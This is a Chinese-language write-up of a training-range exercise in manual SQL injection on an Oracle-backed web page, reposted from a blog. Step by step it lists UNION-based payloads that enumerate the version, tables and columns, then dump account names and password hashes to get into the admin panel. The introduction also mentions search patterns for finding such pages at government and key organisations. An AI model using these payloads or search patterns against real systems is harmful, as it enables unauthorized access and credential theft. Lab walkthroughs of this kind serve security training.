Oracle靶场(手工注入)攻略
Oracle 数据库系统,是美国ORACLE公司(甲骨文)提供的以分布式数据库为核心的⼀组软件
产品。是目前世界上使⽤最为广泛的,数据库管理系统。占⽤1521--》JSP inurl:/.jsp?id= 政
府/重点单位。
靶场地址:
SQL手工注入漏洞测试(Oracle数据库)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养
第一步:判断注入
id=1 and 1=1
回显正常
id=1 and 1=2
回显为空,报错 可知数字类型为整数型注入
第二步:判断字段数
id=1 order by 2
回显正常
id=1 order by 3
页面不正常,可知字段数为2
第三步:判断回显点
联合查询这里使用了union select,oracle数据库与mysql数据库不同点在于它对于字段点数据类型敏感,也就是说我们不能直接union select 1,2,3来获取显错点了,需要在字符型字段使用字符型数据,整型字段使⽤整型数据才可以。如下,两个字段都为字符型,故使用 union select ‘null’,‘null’
id=-1 union select 'null','null' from dual
注:dual为伪表
第四步:查询数据库版本信息
id=-1 union select 'null',(select banner from sys.v_$version where rownum=1) from dual
第五步:查询数据库库名
id=-1 union select 'null',(select instance_name from V$INSTANCE) from dual
数据库名为XE
第六步:查询数据库表名
查询表名⼀般查询admin或者user表
直接查询:
1.1获取第一个表名
id=-1 union select 'null',(select table_name from user_tables where rownum=1) from dual
表名为 LOGMNR_SESSION_EVOLVE$
1.2获取第二个表名
id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual
表名为 LOGMNR_GLOBAL$
1.3获取第三个表名
id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$' and table_name not in 'LOGMNR_GLOBAL$') from dual
表名为 LOGMNR_GT_TAB_INCLUDE$
模糊搜索查询:
id=-1 union select 'null',(select table_name from user_tables where table_name like '%user%' and rownum=1) from dual
第七步:查询数据库列名
直接查询:
id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual
USER_NAME
id=-1 union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME') from dual
AGENT_NAME
id=-1 union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME' and column_name not in 'AGENT_NAME') from dual
PROTOCOL
id=-1 union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME' and column_name not in 'AGENT_NAME' and column_name not in 'PROTOCOL' and column_name not in'SPARE1' and column_name not in 'DB_USERNAME' and column_name not in 'OID'and column_name <> 'EVENTID' and column_name <> 'NAME' and column_name <>'TABLE_OBJNO') from dual
USAGE
模糊搜索查询:
id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name like '%USER%') from dual
USER_NAME
id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name like '%USER%' and column_name <> 'USER_NAME') from dual
USER_PWD
第八步:查询账号密码
id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1
id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong'
id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong' and USER_NAME not in 'hu'
得到需要的账号密码
第九步:cmd5解密
第十步:登录后台
KEY:mozhece3b52e106498611e9a1d65d237
原文地址:https://blog.csdn.net/m0_68706634/article/details/144273645
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!